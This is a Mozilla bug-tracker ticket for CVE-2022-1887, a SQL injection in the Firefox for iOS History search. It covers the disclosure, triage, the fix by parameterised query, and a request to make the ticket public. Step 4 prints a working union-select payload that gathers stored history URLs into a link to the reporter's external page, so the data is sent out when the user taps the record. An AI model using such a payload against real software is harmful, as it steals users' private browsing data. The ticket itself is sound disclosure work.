1767205 - (CVE-2022-1887) SQL injection in History tab on Firefox iOS

Status: RESOLVED FIXED

(Firefox for iOS :: General, defect)

Description

[Muneaki Nishimura]

Attachment: history_sqli.mov

In Firefox iOS, the following SQL query incorporates the variable searchTerm as a string.
https://github.com/mozilla-mobile/firefox-ios/blob/b0efb5ad72289b40d912ae0fa9230b6a524679a0/Storage/SQL/SQLiteHistory.swift#L622
The searchTerm can be specified externally, so SQL injection can be triggered.

The steps to reproduce the injection are below.
(1) Visit https://csrf.jp/2022/fxios/history.php
(2) Tap the link on the page, and the attack payload will be stored in your clipboard
(3) Open History tab from the hamburger menu and tap the magnifying glass icon
(4) Paste the search word from your clipboard, then you can see the following payload in the text input field
a" union select 1,'','https://csrf.jp/2022/fxios/history.php?'||group_concat(media_url), 'Click Me!',1,1,1,1,1 from page_metadata;
(5) One history record that name is "click me!" is shown in the history list
(6) Tap the record, then your history data will be stolen to the malicious page

The attached is a video demonstration of the above attack.

Comment 1

[Frederik Braun [:freddy]]

Confirming this as a sec-moderate. It is quite bad and we need to fix this, which should be somewhat easy.
The exploit requires user interaction in a somewhat unlikely place, otherwise this could be rated sec-high.

Muneaki: let us know if you manage to improve the attack and we will consider re-evaluating.
Jeremy: Can you help find someone to fix this?

Comment 2

[lmarceau]

Ticket is now tracked with https://mozilla-hub.atlassian.net/browse/FXIOS-4183 in our JIRA board.

Comment 3

[Nishant Bhasin]

Thanks Laurie for the ticket 🙏

Frederik, we'll bring it in our next sprint but as we discussed this wouldn't change our release cycle and will most likely go out in our next release.

Comment 4

[yoana]

Adding parametrized query to handle injections. Link to PR https://github.com/mozilla-mobile/firefox-ios/pull/10676

Comment 5

[Frederik Braun [:freddy]]

LGTM. Please close this ticket once the fix has landed.

Comment 6

[Muneaki Nishimura]

I have checked that the issue has been fixed in the latest release v100.1. So I think this ticket can be closed.

Comment 7

[lmarceau]

Attachment: advisory.txt

Comment 8

[Muneaki Nishimura]

Hello! Could you make this bug ticket accessible to the public?
As time has passed since the fix and this product is now already secure, I'd like to make this hacktivity details available for anyone to reference.